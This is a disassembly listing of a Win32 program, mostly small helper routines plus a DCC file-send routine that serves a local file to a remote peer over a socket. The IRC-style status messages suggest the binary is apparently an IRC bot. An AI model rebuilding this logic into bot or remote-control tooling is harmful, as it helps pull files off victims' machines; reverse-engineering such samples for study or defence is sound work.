		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BE90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BEC0	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40BFBA


loc_40BF78:				; CODE XREF: sub_40BF60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	near ptr unk_40106E
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BF78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40BF60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFF0	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C005
		mov	edi, esi


loc_40C005:				; CODE XREF: ___:0040C001j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C01A
		mov	edi, esi


loc_40C01A:				; CODE XREF: ___:0040C016j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C040	proc near		; CODE XREF: sub_401FCDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402059
		retn	4
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C060	proc near		; CODE XREF: sub_4020F9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C060	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C080	proc near		; CODE XREF: sub_401839j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C080	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0A0	proc near		; CODE XREF: sub_40213Aj
		mov	eax, ecx
		retn
sub_40C0A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0C0	proc near		; CODE XREF: sub_4014A6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_401CE9j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+0Ch]
		push	0
		push	eax
		lea	ecx, [esp+20h]
		call	sub_401B86
		mov	ecx, eax
		call	sub_4016A4
		mov	esi, eax
		push	esi
		call	sub_4020F9
		push	esi
		mov	ebx, eax
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40213F
		push	esi
		mov	ebx, eax
		call	sub_4020F9
		mov	eax, [eax]
		push	eax
		call	sub_40213F
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401839
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FCD
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1E0	proc near		; CODE XREF: sub_40213Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C1E0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40155Fj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_40C200	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C230	proc near		; CODE XREF: sub_402059j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
		pop	ecx
		retn	8
sub_40C230	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_401F14j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C280	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C280	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2A0	proc near		; CODE XREF: sub_4016A4j
		mov	eax, [ecx]
		retn
sub_40C2A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_401B86j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2F0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_40C2F0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C310	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C32B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C32B:				; CODE XREF: sub_40C310+11j
		retn
sub_40C310	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C360	proc near		; CODE XREF: sub_401BE5j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_401681
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40C360	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C400	proc near		; CODE XREF: sub_401712j

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C400
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014D3
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40C94E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40200E
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C4CC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		call	sub_5EDAB2
		nop
		add	esp, 8
		jmp	loc_40C8F5
; ---------------------------------------------------------------------------


loc_40C4CC:				; CODE XREF: sub_40C400+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C51A
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C5C0
; ---------------------------------------------------------------------------


loc_40C51A:				; CODE XREF: sub_40C400+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014D3
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C573:				; CODE XREF: sub_40C400+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C585
		mov	eax, 5Fh
		jmp	short loc_40C588
; ---------------------------------------------------------------------------


loc_40C585:				; CODE XREF: sub_40C400+17Cj
		movsx	eax, al


loc_40C588:				; CODE XREF: sub_40C400+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C573
		push	1
		push	ebx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_40C5DD
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C5C0:				; CODE XREF: sub_40C400+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C5DD:				; CODE XREF: sub_40C400+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 2850000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C644
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5EDAB2
		add	esp, 8
		jmp	loc_40C8EF
; ---------------------------------------------------------------------------


loc_40C644:				; CODE XREF: sub_40C400+201j
		push	0
		push	esi
		call	near ptr 2840C2Eh
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_401424
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D60CD
		push	eax
		call	sub_401DF7
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		nop
		call	near ptr 71AB2BC0h
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_443A30
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_401681
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014D3
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C73D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C73D:				; CODE XREF: sub_40C400+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C78D
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_40C8DA
; ---------------------------------------------------------------------------


loc_40C78D:				; CODE XREF: sub_40C400+360j
		push	edi
		call	near ptr 71AB9639h
		nop
		test	ebx, ebx
		jz	loc_40C845


loc_40C79C:				; CODE XREF: sub_40C400+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C7A7
		mov	ebp, ebx


loc_40C7A7:				; CODE XREF: sub_40C400+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 2840000h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2830B67h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C90E
		cmp	edi, 1
		jl	loc_40C90E
		sub	ebx, edi
		jnz	loc_40C79C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C845:				; CODE XREF: sub_40C400+396j
		push	esi
		call	near ptr 283076Ch
		nop
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_401424
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014D3
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014D3
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C8DA:				; CODE XREF: sub_40C400+338j
					; sub_40C400+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C8EF:				; CODE XREF: sub_40C400+1D8j
					; sub_40C400+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C8FC


loc_40C8F5:				; CODE XREF: sub_40C400+C7j
		push	ebx
		call	near ptr 71AB9639h
		nop


loc_40C8FC:				; CODE XREF: sub_40C400+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		call	near ptr 2830000h
		nop


loc_40C90E:				; CODE XREF: sub_40C400+427j
					; sub_40C400+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		call	near ptr 71AB9639h
		nop
		push	1
		nop
		call	near ptr 2830000h


loc_40C94E:				; CODE XREF: sub_40C400+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C400	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CAD0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_40CAD0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CAF0:				; CODE XREF: ___:loc_401AFFj
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CB10	proc near		; CODE XREF: sub_402045j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CB10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017E4
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40CB10	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401BA4j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CBB0
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014D3
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CDAE
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40198D
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40200E
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E2E
		push	offset asc_443B04 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CD2B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E2E
		push	offset dword_446F74
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A87
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


